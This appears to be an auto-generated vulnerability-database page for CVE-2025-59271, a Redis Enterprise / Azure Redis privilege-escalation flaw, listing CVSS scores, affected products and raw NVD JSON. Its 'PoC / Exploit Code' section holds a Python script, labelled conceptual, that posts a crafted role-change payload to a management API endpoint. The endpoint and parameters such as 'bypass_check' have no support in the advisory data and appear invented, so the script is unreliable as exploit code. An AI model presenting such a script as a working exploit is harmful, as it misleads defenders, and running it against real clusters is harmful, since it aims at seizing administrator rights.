Security Vulnerability Report
中文
CVE-2025-59271 CVSS 8.7 HIGH

CVE-2025-59271

Published: 2025-10-09 21:15:39
Last Modified: 2025-10-17 15:49:22

Description

Redis Enterprise Elevation of Privilege Vulnerability

CVSS Details

CVSS Score
8.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_cache_for_redis:-:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:azure_managed_redis:-:*:*:*:*:*:*:* - VULNERABLE
Redis Enterprise(具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59271 - Redis Enterprise Elevation of Privilege PoC (Conceptual) # WARNING: This is a conceptual proof-of-concept for educational and authorized testing purposes only. # Unauthorized use of this code against systems you do not own is illegal. import requests import json TARGET_HOST = "https://redis-enterprise-target.example.com" TARGET_PORT = 9443 # Default Redis Enterprise management web UI/API port def exploit_elevation_of_privilege(): """ Conceptual PoC for CVE-2025-59271. The vulnerability allows an unauthenticated attacker to escalate privileges by exploiting a flaw in the permission validation logic of the Redis Enterprise management API. """ # Step 1: Identify the target Redis Enterprise cluster endpoint cluster_endpoint = f"{TARGET_HOST}:{TARGET_PORT}" print(f"[*] Targeting Redis Enterprise cluster at: {cluster_endpoint}") # Step 2: Send a crafted request to bypass authentication/authorization # The vulnerability lies in insufficient permission checks on certain API endpoints headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Exploit payload - crafted to trigger privilege escalation payload = { "action": "cluster_action", "command": "modify_user_role", "target_user": "default", "new_role": "admin", # Additional parameters that exploit the validation bypass "internal_call": True, "bypass_check": True } try: # Step 3: Attempt the privilege escalation response = requests.post( f"{cluster_endpoint}/api/v1/cluster/privilege", headers=headers, json=payload, verify=False, timeout=10 ) if response.status_code == 200: print("[+] Privilege escalation successful!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed. Status code: {response.status_code}") return False except Exception as e: print(f"[-] Error during exploitation: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-59271 - Redis Enterprise Privilege Escalation PoC") print("=" * 60) exploit_elevation_of_privilege()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59271", "sourceIdentifier": "[email protected]", "published": "2025-10-09T21:15:38.763", "lastModified": "2025-10-17T15:49:21.717", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Redis Enterprise Elevation of Privilege Vulnerability"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_cache_for_redis:-:*:*:*:enterprise:*:*:*", "matchCriteriaId": "9A8DF3D9-70FF-4E24-B54F-9E5104EAB71C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_managed_redis:-:*:*:*:*:*:*:*", "matchCriteriaId": "FA0D9863-E892-4DC4-B271-A49E8E8A8943"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59271", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}